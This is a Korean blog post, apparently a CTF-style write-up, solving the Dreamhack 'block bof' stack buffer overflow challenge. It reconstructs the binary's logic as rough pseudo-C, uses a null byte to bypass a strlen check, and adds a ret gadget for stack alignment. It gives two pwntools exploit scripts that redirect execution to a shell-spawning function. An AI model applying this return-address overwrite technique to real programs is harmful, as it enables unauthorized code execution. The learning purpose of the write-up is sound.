보안/시스템해킹

[시스템 해킹][재활][dreamhack] block bof

playalone 2025. 6. 25. 21:25

오래간만에 드림핵을 켰다. 

해킹이란걸 안한지 반년정도는 지난것 같다. 

방학도 시작했고, 다시 공부하기 위해 쉬운 문제부터 차근차근 풀어가보고자 한다.

 

오늘은 dream hack의 system hacking level1 - block bof문제를 풀어본다.

일단 문제에서 주어진 파일을 살펴보도록 하자

c코드가 주어져있지 않기 때문에 디스어셈블링해보아야 할 것 같다.

먼저 checksec을 보면, pie와 canary가 걸려있지 않다.

다음과 같은 함수가 존재하며, 문제의 설명에서 get_sehll(get_shell의 오타)함수가 존재하는 것을 확인할 수 있기 때문에 

다음과 같은 함수가 존재한다.

 

이를 c형태로 바꿔보면

#include <stdio.h>
#include <stdlib.h>

void check(char* a1);
void get_sehll();

int main() {

	init();
    puts("Hello, Can you Get shell???");
    puts("It's unexploitable program XDDDDD");
    puts("what is your name??");
    read(0, [rbp-0x3a], 0xa);
    printf("OPPS %sCan you exploit This Program?\n", [rbp-0x3a]);
    printf("Your commnet : ");
    scanf("%s", [rbp-0x30]);
    check([rbp-0x30]);
    puts("Very EEEEEZ XDDDDDD\n");
    puts("Bye Bye ~~\n");
    return 0;
}

void check(char* a1) {

	if(strlen(a1) <= 0xf) goto L1;
    
    puts("Very long comment XDDD\n");
    exit(0);    
    
    L1:
    puts("Hmm.. It's real??\n");
}

void get_sehll() {
	printf("U R Best HACKER!");
    execve("/bin/sh");
}

다음과 같다.

 

check함수를 살펴보면, 입력받은 문자열의 길이가 0xf보다 작아야만 한다.

이 문자는 scanf %s로 부터 받게 되기 때문에 중간에 null문자를 삽입하여 strlen을 속여야할것이다.

 

지금부터 실행할 익스플로잇의 흐름을 살펴보면

1. scanf의 문자열을 0xf보다 적은 위치에 null문자를 삽입한다.

2. 0x30만큼 아무 값으로 만든다.

3. rbp의 위치에 아무값을 채운다.

4. ret주소에 get_sehll의 주소를 삽입한다.

 

이 흐름에 맞춰 python코드를 만들면 다음과 같다.

from pwn import *

p = process("block_bof")

p.sendline(b"aaa");
payload = b"a" + b'\x00';
payload += b'b' * (0x30-len(payload))
payload += b'c' * 8
payload += p64(0x000000000040125c)

p.sendline(payload)

p.interactive()

이렇게 만든 코드를 실행하면, get_sehll에서 printf의 위치에서 segfault가 발생하게 된다. 

오류를 보다보면, 명령어 부분에 not aligned to 16 bytes가 있음을 확인할 수 있다.

이는 프로그램 실행과정에서 주소가 16바이트로 정렬되어 있어야하나, 0xf8은 16바이트로 정렬되어있지 않기 때문에 생기는 오류이다. 

 

사실, main함수의 정상적인 종류 이후 get_sehll이 실행되었기 때문에 상관 없을것이라 생각했지만, get_sehll에서 push rbp를 한 이후, printf 를 실행하기 때문에 호출 시 스택이 8바이트 증가한 상태이기 때문에 발생하는 오류였다.

 

따라서, ret만 있는 가젯이 필요하다.

이 ret가젯은 당장  get_sehll에도 있기 때문에 get_sehll의 ret가젯을 사용하도록 한다. 

이대로 코드를 작성하면, 다음과 같다.

from pwn import *

p = process("block_bof")

p.sendline(b"aaa");
payload = b"a" + b'\x00';
payload += b'b' * (0x30-len(payload))
payload += b'c' * 8
payload += p64(0x0000000000401293)
payload += p64(0x000000000040125c)

p.sendline(payload)

p.interactive()

다음과 같고, 이를 실행해보면

매우 잘 작동하는것을 확인할 수 있다.

'보안 > 시스템해킹' 카테고리의 다른 글

[Dreamhack][시스템 해킹] dreamvm  (0) 2026.07.18
[시스템 해킹][Dreamhack] string  (0) 2026.07.11
[Dream Hack] ssp_001  (0) 2024.05.31
[Dream Hack] cherry  (0) 2024.05.10
[Dream Hack] no mov  (0) 2024.04.10